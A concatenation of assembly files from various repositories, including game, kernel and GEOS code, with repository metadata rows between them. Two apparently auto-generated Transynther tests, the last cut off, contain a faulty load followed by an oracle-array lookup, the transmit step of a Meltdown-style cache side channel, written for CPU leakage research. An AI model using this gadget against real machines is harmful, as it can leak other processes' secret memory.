// xvel = -xvel
lda #0
sec
sbc.z xvel
sta.z xvel
lda #0
sbc.z xvel+1
sta.z xvel+1
// yvel_init = yvel_init-10
lda.z yvel_init
sec
sbc #$a
sta.z yvel_init
lda.z yvel_init+1
sbc #>$a
sta.z yvel_init+1
// if(yvel_init<-200)
lda.z yvel_init
cmp #<-$c8
lda.z yvel_init+1
sbc #>-$c8
bvc !+
eor #$80
!:
bpl __b3
lda #<$c8
sta.z yvel
lda #>$c8
sta.z yvel+1
__b3:
lda.z yvel
sta.z yvel_1
lda.z yvel+1
sta.z yvel_1+1
lda #<0
sta.z ypos
sta.z ypos+1
sta.z xpos
sta.z xpos+1
__b1:
// yvel + g
clc
lda.z yvel_1
adc #<g
sta.z yvel_1
lda.z yvel_1+1
adc #>g
sta.z yvel_1+1
// xpos + xvel
clc
lda.z xpos
adc.z xvel
sta.z xpos
lda.z xpos+1
adc.z xvel+1
sta.z xpos+1
// ypos + yvel
clc
lda.z ypos
adc.z yvel_1
sta.z ypos
lda.z ypos+1
adc.z yvel_1+1
sta.z ypos+1
// xpos>>7
lda.z xpos+1
sta.z __5
and #$80
beq !+
lda #$ff
!:
sta.z __5+1
lda.z xpos
rol
rol.z __5
rol.z __5+1
// signed word sprite_x = xpos>>7 + 160
clc
lda.z sprite_x
adc #<$a0
sta.z sprite_x
lda.z sprite_x+1
adc #>$a0
sta.z sprite_x+1
// ypos>>5
lda.z ypos
sta.z $ff
lda.z ypos+1
sta.z __7
lda #0
bit.z ypos+1
bpl !+
lda #$ff
!:
sta.z __7+1
rol.z $ff
rol.z __7
rol.z __7+1
rol.z $ff
rol.z __7
rol.z __7+1
rol.z $ff
rol.z __7
rol.z __7+1
// signed word sprite_y = 230 - ypos>>5
lda #<$e6
sec
sbc.z sprite_y
sta.z sprite_y
lda #>$e6
sbc.z sprite_y+1
sta.z sprite_y+1
// SPRITES_XPOS[0] = (byte)sprite_x
lda.z sprite_x
sta SPRITES_XPOS
// SPRITES_YPOS[0] = (byte)sprite_y
lda.z sprite_y
sta SPRITES_YPOS
// BYTE1(sprite_x)
lda.z sprite_x+1
// *SPRITES_XMSB = BYTE1(sprite_x)
sta SPRITES_XMSB
// }
rts
}
| 18.825758 | 65 | 0.561569 |
27cc74331daf98ed1f9122df5f5c85d7b11aee8d | 2,833 | asm | Assembly | beelzebub/arc/amd64/src/execution/ring_3.asm | vercas/Beelzebub | 9d0e4790060b313c6681ca7e478d08d3910332b0 | [
"NCSA"
] | 32 | 2015-09-02T22:56:22.000Z | 2021-02-24T17:15:50.000Z | beelzebub/arc/amd64/src/execution/ring_3.asm | vercas/Beelzebub | 9d0e4790060b313c6681ca7e478d08d3910332b0 | [
"NCSA"
] | 30 | 2015-04-26T18:35:07.000Z | 2021-06-06T09:57:02.000Z | beelzebub/arc/amd64/src/execution/ring_3.asm | vercas/Beelzebub | 9d0e4790060b313c6681ca7e478d08d3910332b0 | [
"NCSA"
] | 11 | 2015-09-03T20:47:41.000Z | 2021-06-25T17:00:01.000Z | ; Copyright (c) 2015 Alexandru-Mihai Maftei. All rights reserved.
;
;
; Developed by: Alexandru-Mihai Maftei
; aka Vercas
; http://vercas.com | https://github.com/vercas/Beelzebub
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to
; deal with the Software without restriction, including without limitation the
; rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
; sell copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; * Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimers.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimers in the
; documentation and/or other materials provided with the distribution.
; * Neither the names of Alexandru-Mihai Maftei, Vercas, nor the names of
; its contributors may be used to endorse or promote products derived from
; this Software without specific prior written permission.
;
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
; WITH THE SOFTWARE.
;
; ---
;
; You may also find the text of this license in "LICENSE.md", along with a more
; thorough explanation regarding other files.
section .text
bits 64
global GoToRing3_64
; Performs the transition into ring 3.
; Arguments:
; RDI: Entry point;
; RSI: Stack top;
GoToRing3_64:
mov ebx, 0x33
mov ds, bx
mov es, bx
; Changes the data segments to 64-bit user code.
xor r8d, r8d
xor r9d, r9d
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
; Get rid of information in those registers.
sub rsi, 8
mov qword [rsi], r8
; Set up proper stack alignment, and push a null return address.
push rbx
push rsi
push qword 0x202
push qword 0x2B
push rdi
; Set up the stack for IRETQ.
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor ebp, ebp
; And finish the rest of the registers.
; RDI, RSI, RSP and RIP don't matter. They don't leak any info.
cli
swapgs
iretq
| 32.193182 | 79 | 0.689728 |
ca3d1699d57a74383b3d348bf9c2f6bd35f75691 | 100 | asm | Assembly | gfx/pokemon/charmander/anim.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 28 | 2019-11-08T07:19:00.000Z | 2021-12-20T10:17:54.000Z | gfx/pokemon/charmander/anim.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 13 | 2020-01-11T17:00:40.000Z | 2021-09-14T01:27:38.000Z | gfx/pokemon/charmander/anim.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 22 | 2020-05-28T17:31:38.000Z | 2022-03-07T20:49:35.000Z | frame 0, 04
frame 1, 08
frame 2, 24
frame 1, 08
frame 4, 10
frame 0, 10
frame 4, 10
endanim
| 11.111111 | 12 | 0.63 |
d4abcbe57f65d0cf494fee560a5e48873c5286b3 | 4,638 | asm | Assembly | src/constants.asm | Gegel85/BTTGB | 4efeb1470759f0c391a0543649f3bd9a96a17eef | [
"MIT"
] | 1 | 2020-03-28T22:38:50.000Z | 2020-03-28T22:38:50.000Z | src/constants.asm | Gegel85/BTTGB | 4efeb1470759f0c391a0543649f3bd9a96a17eef | [
"MIT"
] | null | null | null | src/constants.asm | Gegel85/BTTGB | 4efeb1470759f0c391a0543649f3bd9a96a17eef | [
"MIT"
] | null | null | null | CGB_A_INIT EQU $11 ; Accumulator starting value on a Gameboy Color
; Sound control
CHANNEL_CONTROL EQU $FF24
CHANNEL_OUTPUT_CONTROL EQU $FF25
DISABLE_CHANNELS_REGISTERS EQU $FF26
; Sound Channel 1
CHANNEL1_SWEEP EQU $FF10
CHANNEL1_LENGTH EQU $FF11
CHANNEL1_VOLUME EQU $FF12
CHANNEL1_LOW_FREQ EQU $FF13
CHANNEL1_HIGH_FREQ EQU $FF14
; Sound Channel 2
CHANNEL2_LENGTH EQU $FF16
CHANNEL2_VOLUME EQU $FF17
CHANNEL2_LOW_FREQ EQU $FF18
CHANNEL2_HIGH_FREQ EQU $FF19
; Sound channel 3
CHANNEL3_ON_OFF EQU $FF1A
CHANNEL3_LENGTH EQU $FF1B
CHANNEL3_OUTPUT EQU $FF1C
CHANNEL3_LOW_FREQ EQU $FF1D
CHANNEL3_HIGH_FREQ EQU $FF1E
WPRAM EQU $FF30
; Sound channel 4
CHANNEL4_LENGTH EQU $FF20
CHANNEL4_VOLUME EQU $FF21
CHANNEL4_POLY EQU $FF22
CHANNEL4_RESTART EQU $FF23
; LCD
LCD_CONTROL EQU $FF40
STAT_CONTROL EQU $FF41
LCD_BASE_CONTROL EQU %11110011
SCROLL_X EQU $FF43
SCROLL_Y EQU $FF42
LY EQU $FF44
LYC EQU $FF45
WX EQU $FF4B
WY EQU $FF4A
; Cartridge Registers
ROM_BANK_SWITCH EQU $2000
; VRAM
VRAM_START EQU $8000
VRAM_BG_START EQU $9800
VRAM_BANK_SELECT EQU $FF4F
; Characters
TM_CHARACTER EQU $88
; Joypad
JOYPAD_REGISTER EQU $FF00
; Interrupts
INTERRUPT_REQUEST EQU $FF0F
INTERRUPT_ENABLED EQU $FFFF
NO_INTERRUPT EQU 0
VBLANK_INTERRUPT EQU (1 << 0)
LCD_STAT_INTERRUPT EQU (1 << 1)
TIMER_INTERRUPT EQU (1 << 2)
SERIAL_INTERRUPT EQU (1 << 3)
JOYPAD_INTERRUPT EQU (1 << 4)
; Misc registers
DIV_REGISTER EQU $FF04
PALETTE_REGISTER EQU $FF47
KEY1 EQU $FF4D
; Game registers
FRAME_COUNTER EQU $C000
HARDWARE_TYPE EQU $C001
RANDOM_REGISTER EQU $C002
PLAYER_STRUCT EQU $C003
CURRENTLY_LOADED_MAP EQU $C018
OLD_SCROLL_X EQU $C019
OLD_SCROLL_Y EQU $C01A
BOTTOM_LEFT_VRAM_START_L EQU $C01B
BOTTOM_LEFT_VRAM_START_H EQU $C01C
BOTTOM_LEFT_MAP_START_L EQU $C01D
BOTTOM_LEFT_MAP_START_H EQU $C01E
TOP_RIGHT_VRAM_START_L EQU $C01F
TOP_RIGHT_VRAM_START_H EQU $C020
TOP_RIGHT_MAP_START_L EQU $C021
TOP_RIGHT_MAP_START_H EQU $C022
LEFT_LEFT_VRAM_START_L EQU $C023
LEFT_LEFT_VRAM_START_H EQU $C024
LEFT_LEFT_MAP_START_L EQU $C025
LEFT_LEFT_MAP_START_H EQU $C026
TOP_LEFT_VRAM_START_L EQU $C027
TOP_LEFT_VRAM_START_H EQU $C028
TOP_LEFT_MAP_START_L EQU $C029
TOP_LEFT_MAP_START_H EQU $C02A
GRAVITY_TIMER EQU $C02B
GRAVITY_LIMITER EQU $C02C
MAP_PTR_H EQU $C02D
MAP_PTR_L EQU $C02E
KEYS_DISABLED EQU $C02F
MUSIC_CHANNEL_1 EQU $C030
MUSIC_CHANNEL_2 EQU $C035
MUSIC_CHANNEL_WAVE EQU $C03A
MUSIC_CHANNEL_NOISE EQU $C03F
ANIMATION_TIMER EQU $C045
TIMER_REGISTER EQU $C046 ; Take 3 bytes
TIMER_FRAME_COUNTER_REGISTER EQU $C049
OAM_SRC_START EQU $C100
MAP EQU $C1A0
; Other registers
INTRO_COUNTER EQU $C028
CREDITS_CURRENT_LINE EQU $C029
CREDITS_LAST_ADDR_H EQU $C02A
CREDITS_LAST_ADDR_L EQU $C02B
CREDITS_LINE_POS EQU $C02C
CREDITS_SLIDING EQU $C02D
CREDITS_LINES EQU $C02E
; Map
MAP_SIZE_X_OFF EQU $0
MAP_SIZE_Y_OFF EQU $1
MAP_NB_TARGETS_OFF EQU $2
MAP_TAGS_OFF EQU $3
MAP_PAL_OFF EQU $7
MAP_TILES_OFF EQU $47
TILE_PALETTE EQU %11100000
TILE_IS_SOLID EQU %00010000
TILE_TEXTURE EQU %00011111
; Game constants
DMG_BG_PALETTE EQU %11011000
DMG_OBP0_PALETTE EQU %11011000
DMG_OBP1_PALETTE EQU %11011000
PLAYER_SPRITE_NBR EQU $80
PLAYER_SPRITE_WALK_NBR EQU $90
PLAYER_SPRITE_JUMP_NBR EQU $A0
PLAYER_SPRITE_PAINT_NBR EQU $A4
GRAVITY_CONSTANT EQU $6
PLAYER_POSITION_X EQU $40
PLAYER_POSITION_Y EQU $40
ANIMATION_TIME EQU $7
PAINTING_TIME EQU $A
; Music structure
MUSIC_TIMER_OFF EQU $0
MUSIC_PTR_H_OFF EQU $1
MUSIC_PTR_L_OFF EQU $2
MUSIC_START_PTR_H_OFF EQU $3
MUSIC_START_PTR_L_OFF EQU $4
; Basic object structure
BASIC_OBJECT_STRUCT_X_OFF EQU $0
BASIC_OBJECT_STRUCT_X_SIZE_OFF EQU $1
BASIC_OBJECT_STRUCT_X_SPEED_OFF EQU $2
BASIC_OBJECT_STRUCT_Y_OFF EQU $3
BASIC_OBJECT_STRUCT_Y_SIZE_OFF EQU $4
BASIC_OBJECT_STRUCT_Y_SPEED_OFF EQU $5
; Displayable object structure
DISPLAYABLE_OBJECT_STRUCT_BASIC_OBJECT EQU $0
DISPLAYABLE_OBJECT_STRUCT_SPRITE EQU $6
DISPLAYABLE_OBJECT_STRUCT_ORIENTATION EQU $7
; End of player struct
HAS_DOUBLE_JUMP_OFF EQU $8
MAP_VRAM_START_BOTTOM_LEFT EQU $9A81
MAP_VRAM_START_TOP_RIGHT EQU $9836
MAP_VRAM_START_LEFT_LEFT EQU $9820
MAP_VRAM_START_TOP_LEFT EQU $9801
MAP_MAP_START_LEFT_LEFT EQU (MAP - 1 + MAP_TILES_OFF)
; DMG Palette
BGP EQU $FF47
OBP0 EQU $FF48
OBP1 EQU $FF49
; GBC Palette
BGPI EQU $FF68
BGPD EQU $FF69
OBPI EQU $FF6A
OBPD EQU $FF6B
; SGB Commands
PAL_TRN EQU $59
DATA_SND EQU $79
MLT_REQ EQU $89
CHR_TRN EQU $99
PCT_TRN EQU $A1
MASK_EN EQU $B9
; DMA
START_DMA EQU $FF46
DMA_DELAY EQU $28
DMA EQU $FF80
; Sprite offsets
SPRITE_POSITION_Y EQU $0
SPRITE_POSITION_X EQU $1
SPRITE_TILE_NBR EQU $2
SPRITE_ATTRIBUTE_FLAGS EQU $3
QUAVER EQU $E
INTROLN EQU $5
MQUAVER EQU $C | 21.373272 | 66 | 0.816516 |
867f2a38e24c0af25e9091a81bcb3f360ae058a7 | 1,728 | asm | Assembly | Transynther/x86/_processed/NC/_un_/i9-9900K_12_0xa0.log_1_585.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_un_/i9-9900K_12_0xa0.log_1_585.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_un_/i9-9900K_12_0xa0.log_1_585.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r8
push %rbx
push %rdi
push %rdx
// Store
lea addresses_PSE+0x94, %r12
nop
nop
nop
nop
nop
and %rdx, %rdx
movw $0x5152, (%r12)
nop
nop
nop
xor %rdx, %rdx
// Store
lea addresses_WT+0xbd04, %r8
nop
nop
nop
cmp %r13, %r13
movl $0x51525354, (%r8)
nop
nop
and %r8, %r8
// Load
lea addresses_normal+0xd7a2, %rdx
nop
nop
nop
nop
xor $619, %rdi
mov (%rdx), %r12d
nop
and $50274, %r12
// Load
lea addresses_WC+0x1111e, %r8
xor $36997, %r13
movups (%r8), %xmm2
vpextrq $0, %xmm2, %r15
cmp $1043, %r8
// Faulty Load
mov $0x7838630000000f14, %rdi
nop
nop
nop
nop
add %rbx, %rbx
vmovups (%rdi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rdx
lea oracles, %r8
and $0xff, %rdx
shlq $12, %rdx
mov (%r8,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rbx
pop %r8
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'08': 1}
08
*/
| 18.189474 | 125 | 0.634259 |
4c1f87a3bf5d6d2a72ae3514184f93667682edd6 | 478 | asm | Assembly | progs/chap05p07-strstr.asm | HKhademian/AssemblyDandamudi | b4d4ccbb7e585953a8d2d22b47d815a3f45f9129 | [
"Unlicense"
] | 1 | 2020-05-07T14:20:09.000Z | 2020-05-07T14:20:09.000Z | progs/chap05p07-strstr.asm | HKhademian/AssemblyDandamudi | b4d4ccbb7e585953a8d2d22b47d815a3f45f9129 | [
"Unlicense"
] | null | null | null | progs/chap05p07-strstr.asm | HKhademian/AssemblyDandamudi | b4d4ccbb7e585953a8d2d22b47d815a3f45f9129 | [
"Unlicense"
] | null | null | null | %include "lib.asm"
%include "lib-string.asm"
extern ExitProcess
global _start
section .text
MAX_TEXT EQU 1000
CRLF db CR, LF, NULL
CTAB db TAB, NULL
section .bss
text1 resb MAX_TEXT
text2 resb MAX_TEXT
buffer resb 25
section .data
section .code
_start:
fgets text1, MAX_TEXT
fgets text2, MAX_TEXT
push text1
push text2
call strstr
pop EAX
putstr EAX
putstr CRLF
sub EAX, text1
i2a EAX, buffer
putstr buffer
jmp _end
_end:
push 0
call ExitProcess
| 11.380952 | 25 | 0.738494 |
5fb7f7c5b1a9137c65405ed5fe69309ef23df83a | 3,560 | asm | Assembly | Library/Chart/CBody/cbodyTransfer.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Chart/CBody/cbodyTransfer.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Chart/CBody/cbodyTransfer.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: cbodyTransfer.asm
AUTHOR: Chris Boyke
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 1/18/93 Initial version.
DESCRIPTION:
$Id: cbodyTransfer.asm,v 1.1 97/04/04 17:48:09 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ChartBodyLargeStartMoveCopy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Handle a copy to clipboard by selecting all grobjes of
all selected charts and then calling the superclass.
PASS: *ds:si - ChartBodyClass object
ds:di - ChartBodyClass instance data
es - segment of ChartBodyClass
RETURN: nothing
DESTROYED: ax,cx,dx,bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 1/18/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ChartBodyLargeStartMoveCopy method dynamic ChartBodyClass,
MSG_META_LARGE_START_MOVE_COPY,
MSG_META_CLIPBOARD_COPY,
MSG_GB_CONVERT_SELECTED_GROBJS_TO_BITMAP
push ax, cx, dx, bp
;
; Set the UPDATING flag so that column/legend objects don't
; freak out when their grobjes become selected.
;
mov ax, MSG_CHART_OBJECT_SET_STATE
mov cx, mask COS_UPDATING
call ChartBodySendToSelectedCharts
mov cx, MSG_GO_BECOME_SELECTED
mov dl, HUM_MANUAL
mov bx, offset SendToChartGrObjes
call ChartBodyProcessChildren
pop ax, cx, dx, bp
mov di, offset ChartBodyClass
call ObjCallSuperNoLock
push ax ; MouseReturnFlags
mov cx, MSG_GO_BECOME_UNSELECTED
mov bx, offset SendToChartGrObjes
call ChartBodyProcessChildren
;
; Now clear the UPDATING flag.
;
mov ax, MSG_CHART_OBJECT_SET_STATE
mov cx, mask COS_UPDATING shl 8
call ChartBodySendToSelectedCharts
pop ax ; MouseReturnFlags
ret
ChartBodyLargeStartMoveCopy endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendToChartGrObjes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send the passed message to all the children of this
chart group if the group's GROBJ is selected
CALLED BY: SelectAllGrObjesIfSelected, UnselectChildren
PASS: *ds:si - chart group
cx - message to send
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 1/18/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendToChartGrObjes proc far
class ChartGroupClass
DerefChartObject ds, si, di
tst ds:[di].COI_selection
jz done
;
; Even though this chart group's selection count is nonzero,
; make sure that the actual GROBJ for this group is selected.
;
push si
movOD bxsi, ds:[di].COI_grobj
mov ax, MSG_GO_GET_TEMP_STATE_AND_OPT_FLAGS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop si
test ax, mask GOTM_SELECTED
jz done
mov ax, MSG_CHART_OBJECT_SEND_TO_GROBJ
call ChartCompCallChildren
done:
clc
ret
SendToChartGrObjes endp
| 22.25 | 71 | 0.597472 |
9299a6df4f7d4e48bf85e01be3d01ded1fd33365 | 2,282 | asm | Assembly | tiles.asm | sanderzegers/PlantBoy | 59b521773f1c9f16fde7fd80532d02913172257e | [
"MIT"
] | null | null | null | tiles.asm | sanderzegers/PlantBoy | 59b521773f1c9f16fde7fd80532d02913172257e | [
"MIT"
] | null | null | null | tiles.asm | sanderzegers/PlantBoy | 59b521773f1c9f16fde7fd80532d02913172257e | [
"MIT"
] | null | null | null | ;-------------
; Tile Data
;-------------
TILE_COUNT EQU 31*16 ;16 bytes each
SECTION "Tiles",ROM0
TILE_DATA:
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$20,$38,$50
DB $10,$00,$02,$02,$02,$05,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $18,$10,$2C,$38,$08,$00,$00,$00
DB $FF,$00,$00,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$00,$FF
DB $18,$18,$18,$18,$00,$00,$18,$18
DB $1B,$1B,$1A,$1A,$17,$14,$3E,$24
DB $18,$18,$18,$18,$00,$00,$1B,$1B
DB $1A,$1A,$18,$18,$1B,$18,$1E,$18
DB $00,$00,$00,$00,$00,$00,$18,$18
DB $18,$18,$00,$00,$00,$00,$18,$00
DB $00,$00,$00,$00,$00,$10,$30,$28
DB $08,$10,$10,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$20,$20,$50
DB $02,$22,$06,$25,$01,$02,$02,$00
DB $00,$00,$04,$04,$0C,$0C,$0E,$0E
DB $DD,$DF,$FE,$FE,$7C,$7C,$7E,$44
DB $00,$00,$04,$04,$0C,$0C,$0E,$0E
DB $DD,$DF,$FE,$FE,$7C,$7C,$FF,$82
DB $00,$00,$00,$00,$20,$08,$28,$80
DB $82,$00,$00,$00,$01,$44,$55,$00
DB $00,$00,$00,$AA,$20,$8A,$28,$82
DB $82,$11,$00,$55,$01,$54,$55,$00
DB $AA,$AA,$82,$AA,$21,$8B,$6D,$C7
DB $D7,$55,$10,$55,$01,$54,$55,$00
DB $FF,$00,$00,$FF,$FF,$CF,$FF,$D7
DB $FF,$C7,$FF,$D7,$FF,$C7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$DF,$FF,$DF
DB $FF,$DF,$FF,$DF,$FF,$C7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$C7,$FF,$D7
DB $FF,$D7,$FF,$D7,$FF,$C7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$CF,$FF,$D7
DB $FF,$D7,$FF,$D7,$FF,$CF,$00,$FF
DB $FF,$00,$00,$FF,$FF,$E7,$FF,$DF
DB $FF,$DF,$FF,$DF,$FF,$E7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$C7,$FF,$DB
DB $FF,$DB,$FF,$C7,$FF,$DB,$00,$FF
DB $FF,$00,$00,$FF,$FF,$C7,$FF,$DB
DB $FF,$C7,$FF,$DF,$FF,$DF,$00,$FF
DB $FF,$00,$00,$FF,$FF,$E7,$FF,$DB
DB $FF,$DB,$FF,$DB,$FF,$E7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$EF,$FF,$CF
DB $FF,$EF,$FF,$EF,$FF,$C7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$CF,$FF,$F7
DB $FF,$F7,$FF,$EF,$FF,$C3,$00,$FF
DB $FF,$00,$00,$FF,$FF,$C7,$FF,$FB
DB $FF,$E3,$FF,$FB,$FF,$C7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$DF,$FF,$DF
DB $FF,$D7,$FF,$C3,$FF,$F7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$C7,$FF,$DF
DB $FF,$CF,$FF,$F7,$FF,$CF,$00,$FF
DB $FF,$00,$00,$FF,$FF,$E7,$FF,$EF
DB $FF,$E3,$FF,$EB,$FF,$E3,$00,$FF
DB $FF,$00,$00,$FF,$FF,$C3,$FF,$FB
DB $FF,$F7,$FF,$F7,$FF,$E7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$E7,$FF,$DB
DB $FF,$C3,$FF,$DB,$FF,$E7,$00,$FF
DB $FF,$00,$00,$FF,$FF,$C7,$FF,$D7
DB $FF,$C7,$FF,$F7,$FF,$E7,$00,$FF | 32.140845 | 35 | 0.515776 |
8cc8f83c086c4d30873d1b6dd042bb4a0abf682a | 4,680 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_48_1288.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_48_1288.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_48_1288.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1ede2, %rsi
lea addresses_A_ht+0x1c1e2, %rdi
clflush (%rsi)
clflush (%rdi)
sub $56893, %rbx
mov $52, %rcx
rep movsb
nop
nop
nop
cmp $32564, %r9
lea addresses_WT_ht+0xcf7e, %rbp
nop
nop
nop
nop
nop
and %r10, %r10
movb (%rbp), %bl
nop
inc %r9
lea addresses_D_ht+0x18f12, %rbp
nop
nop
and $57962, %rbx
mov (%rbp), %r9d
nop
nop
nop
nop
add %r9, %r9
lea addresses_UC_ht+0x7fe2, %rsi
lea addresses_WC_ht+0x179e2, %rdi
nop
nop
nop
nop
nop
and %r12, %r12
mov $69, %rcx
rep movsb
nop
nop
nop
nop
cmp %r9, %r9
lea addresses_UC_ht+0x29a2, %rsi
nop
sub $2032, %rcx
mov $0x6162636465666768, %r9
movq %r9, %xmm1
movups %xmm1, (%rsi)
nop
nop
nop
nop
nop
cmp $18363, %rsi
lea addresses_D_ht+0xf9ca, %r9
xor %r10, %r10
mov (%r9), %r12
nop
nop
nop
nop
nop
xor $37084, %r12
lea addresses_UC_ht+0x179e2, %rbp
nop
add $63848, %r12
vmovups (%rbp), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %rdi
nop
nop
nop
nop
dec %rbp
lea addresses_normal_ht+0x11422, %r10
nop
nop
nop
nop
and %rdi, %rdi
movl $0x61626364, (%r10)
nop
nop
cmp %r10, %r10
lea addresses_A_ht+0x1b4e2, %r9
nop
nop
xor $39110, %rcx
mov $0x6162636465666768, %rbx
